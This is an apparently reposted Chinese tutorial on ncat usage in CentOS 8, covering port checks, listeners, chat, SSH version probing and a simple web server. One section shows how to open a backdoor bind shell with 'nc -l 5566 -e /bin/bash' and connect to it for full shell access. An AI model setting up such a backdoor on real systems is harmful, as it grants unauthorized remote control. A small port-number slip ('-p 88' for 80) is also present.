Linux 中 Ncat 命令使用實(shí)例,你知道幾個(gè)?
Ncat工具功能類似于cat命令,但用于網(wǎng)絡(luò)。它是一個(gè)命令行的工具,用于跨網(wǎng)絡(luò)讀取、寫入和重定向數(shù)據(jù)。它被設(shè)計(jì)成一個(gè)可靠的后端工具,可以與腳本或其他程序一起使用。
ncat可以是端口掃描工具,安全工具或監(jiān)視工具,并且還是簡(jiǎn)單的TCP代理。由于它具有許多功能,因此被稱為網(wǎng)絡(luò)瑞士軍刀。它是每個(gè)系統(tǒng)管理員都應(yīng)該了解工具之一。
系統(tǒng)環(huán)境
Centos8
如何安裝ncat
在Centos7/8系統(tǒng)中ncat安裝包名稱為nmap-ncat
[root@server1 ~]# yum -y install nmap-ncat
一、檢查TCP的80端口的連接
此示例我們將檢查主機(jī)名為DCserver的80端口連接。
[root@server1 ~]# nc -vz DCserver 80
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Connected to 192.168.0.6:80.
Ncat: 0 bytes sent, 0 bytes received in 0.01 seconds.
-z選項(xiàng)為“Zero - I/O 模式”,用于檢查連接狀態(tài)。
二、創(chuàng)建一個(gè)監(jiān)聽端口
下面命令可以創(chuàng)建一個(gè)tcp監(jiān)聽端口:
[root@server1 ~]# nc -vl 1234
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
使用netstat -tlunp查看一下:
在另一臺(tái)主機(jī)中,使用nc命令測(cè)試一下該端口的連接:
[root@server1 ~]# nc -vz 192.168.43.131 1234
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Connected to 192.168.43.131:1234.
Ncat: 0 bytes sent, 0 bytes received in 0.01 seconds.
然后返回到偵聽端,可以看到來自192.168.43.131的45568端口連接偵聽端的1234端口。
[root@server1 ~]# nc -vl 1234
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 192.168.43.131.
Ncat: Connection from 192.168.43.131:45568.
可以使用-k選項(xiàng),讓偵聽端保持打開狀態(tài)。
三、作為聊天工具
ncat可以用作聊天工具,我們將服務(wù)器配置偵聽端口,遠(yuǎn)程主機(jī)連接服務(wù)器的同一端口并發(fā)送消息。在服務(wù)器端,運(yùn)行下面命令開啟偵聽端口:
[root@qdzabbix ~]# ncat -l 8080
在遠(yuǎn)程主機(jī)中運(yùn)行下面命令,并且在下面輸入聊天內(nèi)容,按回車發(fā)送,在服務(wù)端可以看到消息內(nèi)容了。
[root@server1 ~]# ncat 192.168.0.12 8080
Hello qdzabbix
下面在服務(wù)端和遠(yuǎn)程主機(jī)都可以看到消息內(nèi)容。
想要退出,只需要按Ctrl + c就可以。
四、檢查SSH軟件版本
可以使用nc命令通過將EXIT命令發(fā)送到ssh的22端口上,來檢查服務(wù)器軟件版本,如下所示:
[root@server1 ~]# echo "EXIT" | nc 192.168.43.131 22
SSH-2.0-OpenSSH_7.8
Protocol mismatch.
五、使用ncat創(chuàng)建后門
可以使用ncat命令創(chuàng)建后門。此功能主要由黑客使用。可以這樣運(yùn)行命令,在服務(wù)端執(zhí)行下面一條命令:
[root@qdzabbix ~]# nc -l 5566 -e /bin/bash
-e選項(xiàng)后面指定運(yùn)行的命令。現(xiàn)在客戶端可以連接到服務(wù)器上的端口5566,并且可以通過運(yùn)行以下命令通過bash完全訪問我們的系統(tǒng):
[root@server1 ~]# nc qdzabbix 5566
ls
anaconda-ks.cfg
a.txt
batch
Customer_Supplied_Tickets
custom_resolv.conf
下圖中紅線圈出來的就是執(zhí)行的命令。
六、使用ncat運(yùn)行帶有靜態(tài)頁(yè)面的Web服務(wù)器
可以在本地主機(jī)上使用ncat命令啟動(dòng)Web服務(wù)器,這將打開靜態(tài)網(wǎng)頁(yè)面sample.html。你可以運(yùn)行如下命令:
首先將下面內(nèi)容保存到/root/sample.html文件中。
[root@qdzabbix ~]# vim /root/sample.html
<html>
<head>
<title>Test Page</title>
</head>
<body>
<h1>Level 1 header</h1>
<h2>Subheading</h2>
<p>Normal text here</p>
</body>
</html>
然后執(zhí)行下面命令:
[root@qdzabbix ~]# while true; do nc -l -p 80 < /root/sample.html ;
done
上面命令中,-p 88選項(xiàng)指定源端口為80。
在瀏覽器中訪問,可以看到頁(yè)面內(nèi)容。
總 結(jié)
ncat工具可以幫助你從使用telnet進(jìn)行連通性測(cè)試切換到使用ncat測(cè)試連通性。
本文轉(zhuǎn)載自微信公眾號(hào)「Linux就該這么學(xué)」,可以通過以下二維碼關(guān)注。轉(zhuǎn)載本文請(qǐng)聯(lián)系Linux就該這么學(xué)公眾號(hào)。